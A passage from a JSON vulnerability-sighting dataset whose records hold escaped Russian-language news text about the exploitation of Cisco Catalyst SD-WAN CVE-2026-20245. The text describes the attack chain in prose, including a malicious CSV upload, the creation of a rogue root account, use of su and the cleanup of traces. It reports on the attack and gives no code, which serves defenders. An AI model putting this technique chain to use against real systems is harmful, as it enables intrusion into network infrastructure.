\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c SD-WAN.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0438\u0440\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439 SD-WAN, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0443\u0441\u043b\u0443\u0433.\n\n\u041d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043c\u0430\u0440\u0442\u0430 2026 \u0433\u043e\u0434\u0430, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 SD-WAN Manager, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0432\u043e\u044e\u00a0vmanage-admin \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c.\n\n\u0412 Mandiant \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043c\u043e\u0433\u043b\u043e \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0443\u043b\u0435\u0439 \u0432 Cisco SD-WAN, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, CVE-2026-20127 \u0438 CVE-2026-20182, \u043e\u0434\u043d\u0430\u043a\u043e \u0442\u043e\u0447\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0442\u0430\u043a \u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0432\u043e\u0448\u043b\u0438 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 SD-WAN Manager \u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 SD-WAN.\n\nMandiant \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 CVE-2026-20245 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 SD-WAN, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b evil_tenant.csv.\n\nCVE-2026-20245, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 Cisco, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (CLI) \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 Cisco Catalyst SD-WAN \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f\u00a0/etc/passwd\u0438\u00a0/etc/shadow, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c troot \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u00a0su \u043a\u043e\u043c\u0430\u043d\u0434\u0443 Linux \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0432\u043d\u043e\u0432\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c root, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c Mandiant, \u043d\u0430\u043f\u0430\u0434\u0430\u0432\u0448\u0438\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u044b, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u0434\u0430\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0427\u0442\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u043d\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0438\u0441\u0442\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0430\u0442\u0430\u043a\u0438, \u0438 \u0441\u0442\u0435\u0440\u0435\u0432 \u0441\u043b\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 root.\n\nMandiant \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0438\u0440\u0438\u043d\u0433\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043d\u0438 \u043a \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCisco \u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0447\u0442\u043e \u0432\u0437\u043b\u043e\u043c \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2026-20182, \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b, \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 IOCs, IP \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-14T00:00:44.408111Z"}, {"uuid": "7ccd5a69-6aa9-4de5-9044-51415fb40bf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/true_secator/8345", "content": "\u041f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Cisco Catalyst SD-WAN (CVE-2026-20245) \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 root \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nCVE-2026-20245 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Cisco Catalyst SD-WAN Manager (vManage), Controller (vSmart) \u0438 Validator (vBond), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043e \u043d\u0435\u0439 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0430\u0442\u0430\u043a,\u00a0\u043d\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u0422\u043e\u0433\u0434\u0430 Cisco \u043b\u0438\u0448\u044c \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0439 \u043d\u0430 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c SD-WAN.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0438\u0440\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439 SD-WAN, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0443\u0441\u043b\u0443\u0433.\n\n\u041d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043c\u0430\u0440\u0442\u0430 2026 \u0433\u043e\u0434\u0430, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 SD-WAN Manager, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0432\u043e\u044e\u00a0vmanage-admin \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c.\n\n\u0412 Mandiant \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043c\u043e\u0433\u043b\u043e \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0443\u043b\u0435\u0439 \u0432 Cisco SD-WAN, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, CVE-2026-20127 \u0438 CVE-2026-20182, \u043e\u0434\u043d\u0430\u043a\u043e \u0442\u043e\u0447\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0442\u0430\u043a \u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 